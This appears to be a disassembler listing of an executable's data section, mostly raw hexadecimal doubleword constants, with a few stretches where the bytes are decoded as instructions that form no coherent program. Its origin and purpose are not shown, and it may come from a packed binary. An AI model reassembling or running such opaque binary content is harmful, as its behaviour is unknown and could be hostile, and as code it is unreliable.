		dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
		dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
		dd 8320720h, 3618391Ch,	100F7A14h, 80900C23h, 0BE5653C0h
		dd 0C774074Ch, 3E8312h,	44683A75h, 0CC066701h, 0DFE8036Ah
		dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
		dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
		dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
		dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h,	0ED859602h
		dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
		dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
		dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
		dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
		dd 3D0A043h, 0C795300h,	14751612h, 0E8130006h, 27D4DDA7h
		dd 0A7F6096h, 4460100h,	4C50EB6Eh, 3B4E0003h, 0D75C215h
		dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
		dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
		dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
		dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
		dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
		dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h,	9E2A26h
		dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h,	30D476B9h
		dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
		dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
		dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h,	68016A04h
		dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
		dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
		dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
		dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh,	1C259332h
		dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh,	0E4491312h
		dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
		dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
		dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
		dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh,	2C05C700h
		dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h,	0ED7E0460h
		dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h,	0AD2B0C15h
		dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
		dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
		dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
		dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
		dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
		dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
		dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
		dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
		dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h,	2E24249h
		dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
		dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
		dd 0E55D759h, 557E800h,	74772117h, 46FD0050h, 85764963h
		dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
		dd 19CCCB21h, 390BFBAh,	5CCDA7A0h, 7423A500h, 0E83A060Ch
		dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
		dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
		dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
		dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h,	8400B175h
		dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
		dd 0E345947h, 7850F82h,	9FFF6A66h, 48EB704Bh, 81166B29h
		dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h,	38832146h
		dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
		dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
		dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
		dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
		dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h
		dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h
		dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h
		dd 68288F00h, 3D800301h, 65700041h, 230A7E16h, 5D000713h
; ---------------------------------------------------------------------------


loc_46C120:				; CODE XREF: .data:0046C126j
		out	dx, eax		; DMA controller, 8237A-5.
					; channel 3 base address
					; (also	sets current address)
		popa
		mov	[edi-4Bh], ch


loc_46C125:				; CODE XREF: .data:loc_46C15Bj
		sahf
		jb	short loc_46C120
		mov	word ptr [eax],	es
		adc	al, 12h
		push	0CCCA0FF8h
		sbb	[edi], al
		mov	ds:3D832D88h, eax
		push	eax
		push	es
		sbb	al, [edi+ebp-7A104800h]
		popf
		adc	eax, 330E05h
		leave
		add	al, 82h
		hlt
; ---------------------------------------------------------------------------
		dd 173D2A40h, 0DAF01h, 2770B841h
		db 2Ch,	0BEh, 0
; ---------------------------------------------------------------------------


loc_46C15B:				; CODE XREF: .data:0046BA9Cj
		jnb	short loc_46C125
		bound	edi, [esp+eax*4-3Ah]
		add	eax, 14A0528h
		mov	al, ds:0F5005A0Eh
		mov	word ptr [edx],	cs
		adc	[eax+6Dh], ch
		pop	es
		xchg	eax, edi
		sub	[edi-3C7FF0AFh], eax
		jmp	near ptr 0FE4A7C70h
; ---------------------------------------------------------------------------
		db 14h,	0EBh, 0E5h
		dd 5DF82EA0h, 53001BC4h, 86C8E74Ch, 3CC840Fh, 21D2A4D5h
		dd 0C7971A4Ah, 0E068815Eh, 1291F0A1h, 0E74C29B0h, 0B24D0360h
		dd 0D825F477h, 423C3Ah,	0A63D51D5h, 0E4B52EB3h,	39FE601h
		dd 61B88993h, 117FDE4h,	153E3238h, 0E0535E57h, 0E9007505h
		dd 0DA77CA51h, 1F3B1A94h, 80290A52h, 5BDBC2E4h,	537CE080h
		dd 0A17C051Ch, 83390980h, 0B1528h, 480213DFh, 0E4F98108h
		dd 7F27AD0Eh, 176D0038h, 0B79C985h, 0C183031Ch,	240968Eh
		dd 0CD97D2D5h, 0EBF48100h, 51174A24h, 18460FDAh, 0F560F02Ch
		dd 0D6780CBFh, 0AE158203h, 752D709h, 938C9D66h,	4AB590EBh
		dd 0C100ED80h, 0EE030772h, 70FCF0Ch, 8112C216h,	7518F0FAh
		dd 10009EE8h, 31185B9h,	0A08E534Fh, 1CA40BEh, 97F0E983h
		dd 0C401761Ch, 7C0010FAh, 703C70Fh, 8B3034h, 2085D14Ch
		dd 28A0D80Ch, 0F37C0400h, 0C981428Ah, 808703C8h, 0B260889h
		dd 5FF1490h, 87B81C3Fh,	4EA83D0h, 0FCE2ABF0h, 7FE40186h
		dd 15011217h, 11EB6020h, 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh
		dd 2C2B5F02h, 13010D84h, 4A522A0Bh, 0A7701C0Ah,	4DB8C2h
		dd 4D08B1FEh, 0E1339048h, 9149200h, 31742506h, 47F2Ah
		dd 0A154B0DAh, 0AE802B64h, 1133C800h, 0B2FEC2F7h, 20AC1EE2h
		dd 1F643EBh, 8AB8FAC7h,	72E0A746h, 0C62B0800h, 58EB703Bh
		dd 8806001Eh, 2B64FE8h,	0DE00030Bh, 64455509h, 1FD8963Dh
		dd 7A00733h, 20670AA9h,	3E5A250Bh, 0B0F8BF00h, 2A824D8h
		dd 13760075h, 0C655F378h, 4600FC32h, 8316A008h,	0FE7A23h
		dd 0B02CC74Bh, 0B20994F8h, 13B34503h, 984D665Ch, 7FDC5D3Fh
		dd 418D0067h, 52D12B37h, 873D7FF3h, 0C49CAEC9h,	0FBC5FA00h
		dd 4C7DE9E3h, 7F39B412h, 91925304h, 0C37AC466h,	25F80F47h
		dd 8D00EFA8h, 1157E746h, 822CF4h, 0B979EDD6h, 0D5C6301Eh
		dd 0B5002B79h, 0AA6BE342h, 705AF813h, 0C29A3A73h, 148D0A00h
		dd 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh, 1B00060h,	489C5A59h
		dd 30006BE9h, 7389DFA0h, 2C0239BAh, 0D3C603h, 14095C1h
		dd 990EFE81h, 0A137984Eh, 359AD285h, 0FAC2F4h, 4D2E4C9Bh
		dd 0A5F49009h, 4410BC00h, 1D5C890Dh, 25B0013h, 3AEB1B87h
		dd 431FE369h, 0C3001296h, 0E6BF5A92h, 407F002Ch, 0D4B7C3Ch
		dd 73C3921h, 8283090Ch,	84EF0017h, 1CCD1D33h, 0AE2E4BB3h
		dd 1FC20057h, 0EA7E1180h, 8E099200h, 836252FDh,	0EB210307h
		dd 1441A12Bh, 0B930C8C0h, 84421500h, 7448C51h, 591913CAh
		dd 0A8870EAFh, 78962640h, 6B050969h, 8D41670Eh,	0C7A5FB80h
		dd 0C2FC58F8h, 220D4A03h, 8CE30835h, 468240FFh,	521D7C3Bh
		dd 0D8400712h, 5FE82606h, 297B0099h, 4470119h, 9D030320h
		dd 7449F30Bh, 0C63FC824h, 0E8170781h, 5033ABCFh, 117A842Dh
		dd 0DD0024F6h, 485932C7h, 5EDF6Dh, 3735F56Fh, 4D3E7D82h
		dd 5D218300h, 9D10FE93h, 0C96C0094h, 0F174D4CFh, 6B00E809h
		dd 9833C606h, 8B3E36h, 0D7396C4h, 22075CAh, 73A905Ch, 0BEC6490Ch
		dd 8DCC5EF0h, 2E527FE1h, 1C2FBAAh, 94B60CAh, 2E8FC882h
		dd 8E90A23Bh, 0A03D02F8h, 94167FEFh, 0C46E005Ch, 0AA808254h
		dd 87B75D2h, 0EAC55E03h, 98CDA984h, 0BF1620h, 0BD0B8291h
		dd 0D4E19B80h, 775C5375h, 0B184007Fh, 881F1728h, 4C7E006Ch
		dd 19920B7Bh, 7F1F31D7h, 0EBC38E43h, 90281F42h,	79F4BB74h
		dd 16630026h, 67D10DE4h, 12000E5Fh, 4E4149D8h, 3FF1B95h
		dd 907889Ah, 0F6D87AE9h, 1800EB3Bh, 0A29A448h, 927D83h
		dd 0FD8498C7h, 4538153Dh, 0C400B3FEh, 288C3501h, 7AD9B1D6h
		dd 0F30A024Bh, 4432CEEEh, 4C515160h, 3E66F51Dh,	0B0C0BC1Dh
		dd 5658B61h, 0D33C0074h, 92D60317h, 0EB004D32h,	41F211C1h
		dd 5758Ch, 73D69DAh, 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h
		dd 172DB68Dh, 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh
		dd 0C9F4D5FAh, 2DE07B62h, 26006920h, 17210231h,	24C3838Eh
		dd 53EEDCh, 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
		dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
		dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
		dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
		dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
		dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
		dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
		dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h,	88002449h
		dd 643CA351h, 7522CFAh,	851F8D28h, 0F0671016h, 6A58BDD8h
		dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h,	1E0051F1h
		dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
		dd 80C125C3h, 53A92B5h,	7CED0D8h, 45C50154h, 0AAE9708Bh
		dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
		dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
		dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
		dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
		dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
		dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
		dd 459F8Bh, 0D332988Eh,	25C688A2h, 3DA16900h, 0A521A636h
		dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
		dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h,	3B01C8C7h
		dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
		dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
		dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
		dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
		dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch,	84AEEADAh
		dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
		dd 28AA18F2h, 6034214h,	0A819C735h, 2C16B050h, 0C1071CD2h
		dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
		dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
		dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
		dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h,	0C40029F6h
		dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
		dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
		dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
		dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
		dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
		dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h,	3821939Ch
		dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
		dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
		dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
		dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h
		dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h,	0D105FFh
		dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h,	0E9100008h
		dd 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh
		dd 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h
		dd 0C584B883h, 5ABC3Eh,	0C031B244h, 154C966h
		dd 428F1E50h, 0DD105180h, 8BD2F80Fh, 110388F8h,	6905489h
		dd 1F91D0C8h, 0C65F00CBh, 3916D7D8h, 770009F7h,	602F7413h
		dd 2A7829h, 0F8A5F33Fh,	3E1831Dh, 18A4D207h, 0E177431h
		dd 7C3AFC30h, 1950000Fh, 1AFD5311h, 6600CB58h, 6941C706h
		dd 728143FCh, 4C4000Ch,	5086092Fh, 0EB391290h, 8A0FFF01h
		dd 0E0D14003h, 0F576203Ch, 3B800007h, 530B7522h, 0CE2017Bh
		dd 0C50558h, 34E6EB02h,	4FE255Fh, 1B1CC7FAh, 88508043h
		dd 62070414h, 84135640h, 0DDD21B1h, 2E58F0D8h, 0ACD2C3h
		dd 8028D818h, 9C7F3D07h, 0CD7C8B00h, 20CE5F61h,	42B700F5h
		dd 14D66A27h, 800EE25h,	0C2F81CCBh, 788977h, 681E34E0h
		dd 2C0B055Dh, 92148D03h, 0C022B050h, 0C88B88h, 3AC677CAh
		dd 0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh, 0B460216h, 0F4E4D268h
		dd 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh
		dd 73410C72h, 0B7E00F67h, 6BF04500h, 3663CC0h, 0D2F23EEEh
		dd 40401E9Ch, 1F4558Bh,	0F60169D0h, 178A38E8h, 0E0DE1964h
		dd 483C0533h, 0E500384Bh, 8378825Dh, 0DF0108ECh, 589B8EC0h
		dd 6CC85A5Fh, 5B0C001Eh, 2DA31BD9h, 0FD0092A4h,	33285CDFh
		dd 13FA2C16h, 1CA959h, 0AB81C735h, 0D90F078Ah, 67A2BBD6h
		dd 0D0009816h, 381272h,	0E7F77C8h, 88AAD160h, 1470700h
		dd 0DE7AD748h, 2AC80481h, 80F7760Fh, 0E80CEB87h, 0C949B500h
		dd 0A668A64h, 62410068h, 0C131A990h, 0E01F94E9h, 55C02203h
		dd 51082027h, 0F6CE0BF4h, 0B40013EEh, 80A61C26h, 0D9391A03h
		dd 0F84E4575h, 23DB815h, 5A73E1B0h, 92801BCBh, 0C21CE5DBh
		dd 454EDE00h, 0D606EBE2h, 3A1672E6h, 0F0FE5Eh, 8A367403h
		dd 750A3A08h, 54306700h, 1489313h, 9F4A00D3h, 401625B6h
		dd 83780208h, 311AB200h, 0B3B9D7D4h, 107A0138h,	0CF3FDA3h
		dd 80FAB93Dh, 21D64EBh,	903119h, 0CD88BB51h, 10E08650h
		dd 0CD46600h, 83184CB2h, 0ABF33B09h, 86311200h,	24405FAAh
		dd 0F156900h, 8840541h,	89B202C7h, 0E2F70BA2h, 0B04C3AE0h
		dd 1452480Eh, 0CF26403Eh, 99036Fh, 9229D031h, 0F2FB5AB9h
		dd 190DB00h, 96F1F728h,	0F8300048h, 0C7431C17h,	8003BE03h
		dd 0C6057DF6h, 0FA2DE804h, 1F170088h, 0F9018B47h, 0FFE68114h
		dd 844F852Eh, 2307B90Eh, 7B97D929h, 0B0A3000Ah,	8AD20F20h
		dd 12001C44h, 754B2B42h, 0AD41F6h, 51B82318h, 0E9968F82h
		dd 2F9CB300h, 0CC2CAC33h, 94CE1D50h, 0C6634773h, 20190BFh
		dd 1E018A0Ch, 70FB8046h, 0B5CCF8D7h, 2D0E03CEh,	2B0A69ECh
		dd 248166D0h, 0FE78080Eh, 0FD58C061h, 0F30025Ch, 28ACCBE2h
		dd 26844FE1h, 623CC4Ah,	4EB2000h, 0EE347F0Dh, 24C02630h
		dd 392C0093h, 3F28E8F8h, 1C048D0Fh, 0D89BC001h,	1340555h
		dd 0CDFEE675h, 0F8D4E486h, 5905127Ch, 3289F631h, 90461780h
		dd 7703486Ah, 78F07E00h, 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh
		dd 48ACBFBCh, 32008E1Fh, 92DF7430h, 3007261h, 5420A2CAh
		dd 0EA0B7643h, 1F110010h, 4CD07705h, 0BF010AC3h, 565A90C9h
		dd 0D5C05D04h, 1A97DEBh, 0FAFFB150h, 0C0427D2Ah, 70074EDh
		dd 0FE288840h, 7512C9h,	3C1E5AF2h, 6C430253h, 7301FA00h
		dd 90517497h, 8B440035h, 0ECF85442h, 52005D36h,	195A8C68h
		dd 0FE570926h, 0EB84Ah,	0FF1250A9h, 0D32BF03h, 1B48AC04h
		dd 35C0C69Fh, 0BFC5C14h, 8C7C3D74h, 4C08F000h, 2F00B859h
		dd 8304D250h, 2E01F835h, 0CD290Eh, 900B1B22h, 0AC0325FFh
		dd 338B4C79h, 6350E0DBh, 50C741Ah, 1C753E07h, 701D802Ah
		dd 91009225h, 0D41A1B0h, 3F29845h, 161F4C22h, 0A09801B3h
		dd 0F4004028h, 57037B0h, 0B847604Fh, 8D736Fh, 6A6250FCh
		dd 0F6386886h, 653A652Eh, 6BE84700h, 378323Fh, 5511E04Dh
		dd 2DA06168h, 3000FF64h, 1B2089CCh, 0F445C7h, 0EE608691h
		dd 0F808CB50h, 69C52C00h, 0AC8B8954h, 34E683h, 8AEAA267h
		dd 63C41618h, 0E0985200h, 0A16628EFh, 25EC0071h, 97FFC02Ch
		dd 8700F89Fh, 0C33FE283h, 0EFBC20Bh, 9C2A59A3h,	4F53003Ch
		dd 41575446h, 450052E0h, 726F425Ch, 4C3C616Ch, 44003C6Eh
		dd 6870C765h, 5200F169h, 46C04C54h, 550350h, 6B73614Dh
		dd 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h, 60D7C7ACh
		dd 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh, 3FE800D8h
		dd 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h,	77BBC36h
		dd 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h, 0BE50E975h
		dd 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h,	3C0C141Ch
		dd 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh, 19A2004Ah
		dd 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h, 6C034BFCh
		dd 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh, 0E859247Ah
		dd 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h, 706731FEh
		dd 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh,	3EA6734Ch
		dd 6BE00F6h, 0C827B2Ch,	207F3834h, 75493700h, 0A8E3453Bh
		dd 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h,	4BC3F300h
		dd 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh, 510039D3h
		dd 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh, 290B0358h
		dd 35CF0C8h, 96F7FC47h,	44C0B891h, 1126D480h, 2401303Ch
		dd 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh,	67E8E740h
		dd 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh,	0E802F061h
		dd 53515200h, 818FF689h, 0F4500084h, 1058E012h,	6E7E6463h
		dd 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh,	0A0002FBh
		dd 405A595Bh, 91E3FF0h,	2C45FC9Eh, 90C1300h, 22000E74h
		dd 4950811Dh, 23581Eh, 47257531h, 8BF09821h, 0FF131000h
		dd 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h, 0E8060EAAh
		dd 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h, 0DF056B66h
		dd 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch, 6A546200h
		dd 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h, 0A04A200h
		dd 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h, 12A45300h
		dd 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h,	75EB0A02h
		dd 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h, 0E4001C68h
		dd 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah, 20A45211h
		dd 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h,	0D31C4148h
		dd 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h,	400EDE38h
		dd 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh, 0A29E0C4Eh
		dd 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h, 45BC5E9h
		dd 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh,	76808B08h
		dd 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h, 0EE2439h
		dd 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh, 1EAB1D85h
		dd 50154061h, 828C638h,	59EFFE00h, 74F1513Dh, 48E0006Fh
		dd 53020B04h, 0E202DB31h, 1B1A614Eh, 0A54161E6h, 0FA1EBB60h
		dd 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h
		dd 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh, 512D9Fh
		dd 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h
		dd 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h
		dd 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah,	9E62B9h
		dd 2C444D42h, 2189084Eh
		dd 67017F70h, 718D0559h, 0C5EC3D09h, 0B50600A6h, 0EF16439Eh
		dd 3F005A4Bh, 84F87424h, 48041h, 0E64F3BD8h, 64176775h
		dd 57B5D41Ch, 9CE269C0h, 189093Eh, 610BE842h, 0C48C74CEh
		dd 695CDC7Fh, 0D075002Ch, 4B08C683h, 0F2C000B2h, 0A161A486h
		dd 26031499h, 0FF41C4B8h, 0E992F88Dh, 946D0E1Ch, 2BEE5923h
		dd 449E21A0h, 27482214h, 6CF11E42h, 0F238689h, 56986136h
		dd 0A3E88844h, 1E5BEA30h, 8F92899Ah, 8D20CF86h,	93E8EC53h
		dd 9879105h, 0C4E00463h, 87BE1h, 2480A48Ch, 42C78F54h
		dd 31288500h, 8BDFA3ECh, 2208306Ah, 5684DBDEh, 2489D100h
		dd 28603949h, 54050F5Ah, 53A05755h, 9507C888h, 444E4200h
		dd 52E9F62Fh, 8654008Bh, 6AA0C730h, 83018897h, 0A427BEAh
		dd 0D471B089h, 60EC7931h, 39FD0004h, 1EA80DF0h,	9200A4B5h
		dd 0C9C543EAh, 3BCC031h, 1C0648DFh, 12D85910h, 28001189h
		dd 49A78D6Fh, 473A6Ah, 0C664955Ah, 0C49674B6h, 5442E00h
		dd 0D103E85Dh, 0E2FF00C7h, 4D588038h, 1500CD5Eh, 5034C056h
		dd 0C2BE02h, 4AB80C52h,	3F1FFC5h, 3854491Ch, 86E97282h
		dd 92836048h, 0C0070020h, 5C742C7Fh, 0F018E95h,	57221509h
		dd 20C8052Dh, 0BF8700DDh, 483D1ECFh, 0EB3F4E80h, 84713060h
		dd 83073Fh, 369429E8h, 52E130E7h, 43963D00h, 3814112Ah
		dd 93762Dh, 13462E33h, 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h
		dd 77E968Ch, 0B02C1D26h, 1E2A40C8h, 781C3DC9h, 229DCD7Ch
		dd 6567CF0Fh, 87C71A21h, 0CE471627h, 0D8871267h, 0DAC70EA7h
		dd 0D9E70AE7h, 0CAC406E0h, 16272EFCh, 8D900536h, 808E1D8Bh
		dd 6C01E3E8h, 400C25Dh,	0F3942467h, 402993h, 2690F1FAh
		dd 7074503Dh, 0CE00A27Bh, 99CB9238h, 1D90836h, 72F65232h
		dd 0EC3B8189h, 300053D0h, 1817438Fh, 12381D74h,	0BCFB82h
		dd 0B1D889ABh, 0B600EF84h, 4BFA4419h, 74E1Fh, 46A3120Dh
		dd 945C3749h, 0D9B8850Fh, 14510204h, 6DBB878Ah,	124F60F0h
		dd 0AA090752h, 505B290Ah, 94ED2677h, 68F6E300h,	0A005F8F5h
		dd 0D81A01B5h, 0BAC804Ah, 0C8B63047h, 38657502h, 0C02E536Ch
		dd 7F9836Eh, 39A174FFh,	9DF5F001h, 0A4008922h, 68A2E984h
		dd 0D49CBFh, 3E434B93h,	57E148C2h, 70E80C00h, 0E9A79504h
		dd 505800BEh, 7E1DDB85h, 0F0004B12h, 4DE4433h, 9749D4h
		dd 7F24D031h, 0C4BA3DEEh, 0B214EB00h, 73E809BDh, 0A96C0023h
		dd 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h, 0CFDFE8A4h, 30C3034Bh
		dd 78A2DB33h, 341E5E90h, 3B121400h, 1A057EF3h, 0C1DF0004h
		dd 49A81D3Eh, 28EEB127h, 4AEC7F00h, 1151E360h, 9CBE00BAh
		dd 0C47D8D04h, 0A790E9B9h, 8FA5F301h, 2164BC05h, 1429B20h
		dd 10B02D89h, 0EF84B41Dh, 1508A4F8h, 8D87AC00h,	0DF5C44Dh
		dd 9377D17h, 0FC7D8397h, 35B5A100h, 6792008h, 0C92BE803h
		dd 880C45FAh, 1CC0A240h, 4359481Dh, 0C4151BB8h,	0FF03E990h
		dd 2F967100h, 2836156h,	417E1D05h, 3D2580EEh, 7594C81Ch
		dd 0C6180D1Fh, 1132481h, 26F95AD9h, 4CBB20h, 0CB222C48h
		dd 95D3E834h, 0A345C501h, 18247444h, 3C9F30h, 160646B2h
